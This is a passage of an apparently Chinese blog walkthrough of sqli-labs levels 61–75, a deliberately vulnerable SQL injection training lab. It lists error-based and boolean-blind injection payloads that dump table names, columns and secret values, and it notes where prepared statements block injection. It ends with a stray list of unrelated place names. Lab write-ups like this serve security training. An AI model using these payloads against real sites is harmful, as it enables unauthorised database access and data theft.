  3. ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='1PA6G0TRVN')),1)--+ 顯示:id,sessid,secret_LVJI,tryy

  4. ?id=1')) and updatexml(1,concat(0x7e,( select secret_LVJI from challenges.1PA6G0TRVN)),1)--+ 顯示:jEtrVlDZGr0Rcq1E1nd3gpmE

less-62

  1. 只有單引號不回顯

  2. ?id=1') and ('1')=('1 ?id=1') and ('1')=('2 回顯頁面不同

  3. 盲注 ?id=1') and ascii(substr(database(),1,1))=99 --+ 回顯(challenges:c)

  4. ?id=1') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=49 --+ 一個個得出table_name=1PA6G0TRVN

  5. ?id=1') and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='1PA6G0TRVN'),1,1))=105 --+ 得出:id,sessid,secret_LVJI,tryy

  6. ?id=1') and ascii(substr((select secret_LVJI from challenges.1PA6G0TRVN),1,1))=106 --+ 得出:jEtrVlDZGr0Rcq1E1nd3gpmE

less-63

  1. ?id=1' 唯一不回顯

  2. 盲注 ?id=1' and ascii(substr(database(),1,1))=99 --+ 回顯(challenges:c)

  3. ?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=88 --+ 一個個得出table_name=XVCQ5S72H0

  4. ?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='XVCQ5S72H0'),1,1))=105 --+ 得出:id,sessid,secret_IU8C,tryy

  5. ?id=1' and ascii(substr((select secret_IU8C from challenges.XVCQ5S72H0),1,1))=114 --+ 得出:rNlAiMP1PMtH............

less-64

  1. ?id=1 and 1=1 ?id=1 and 1=2 回顯不同

  2. ?id=1 and ascii(substr(database(),1,1))=99 回顯(challenges:c)

  3. ?id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=88 一個個得出table_name=XVCQ5S72H0

  4. ?id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='XVCQ5S72H0'),1,1))=105 得出:id,sessid,secret_IU8C,tryy

  5. ?id=1 and ascii(substr((select secret_IU8C from challenges.XVCQ5S72H0),1,1))=114 得出:rNlAiMP1PMtH............

less-65

  1. ?id=1")

  2. ?id=1") and ascii(substr(database(),1,1))=99 --+ 回顯(challenges:c)

less-66

  1. 空白頁面

  2. ?id=1 顯示:Array ( [username] => Dumb [0] => Dumb )

  3. ?id=1 '、"、)、')、")、))頁面均沒有反應(yīng)

  4. ?id=1 or 1=2 ?id=1 or 1=1 ?id=1 and 1=1 ?id=1 and 1=2 也沒反應(yīng)

  5. 查看源代碼: prepare("select username from users where id=?") 對查詢語句進(jìn)行了預(yù)編譯,似乎無法進(jìn)行SQL注入

less-67

  1. 是一個index of的目錄結(jié)構(gòu)界面

  2. 選擇part-1

    1. 是一個登錄界面 Username: Password: Array ( [0] => ?[@uid] => ?)

    2. Username:dumb Password:dumb Array ( [0] =>1 ?[@uid] =>1 ?)

    3. 查詢用戶的uid編碼。。。

  3. part-2是一個登錄界面

    1. Username: Password:

    2. Username:dumb Password:dumb 提交后 Username: Password: Welcome.

    3. 錯誤提交顯示:Invalid password.

  4. 源代碼中同樣進(jìn)行預(yù)編譯,似乎無法進(jìn)行SQL注入

less-68-75

無此頁面


sql-lab通關(guān)的評論 (共 條)

分享到微博請遵守國家法律
呼玛县| 桓台县| 绩溪县| 襄垣县| 如皋市| 双城市| 宁海县| 资兴市| 荣昌县| 永修县| 颍上县| 兴化市| 诏安县| 攀枝花市| 江油市| 天门市| 阳谷县| 铜鼓县| 济南市| 辉南县| 通道| 得荣县| 肥东县| 琼结县| 安义县| 育儿| 那坡县| 门头沟区| 五家渠市| 巢湖市| 利辛县| 肃宁县| 资源县| 抚远县| 临夏县| 龙陵县| 镇远县| 肥城市| 芜湖县| 杭锦旗| 佛坪县|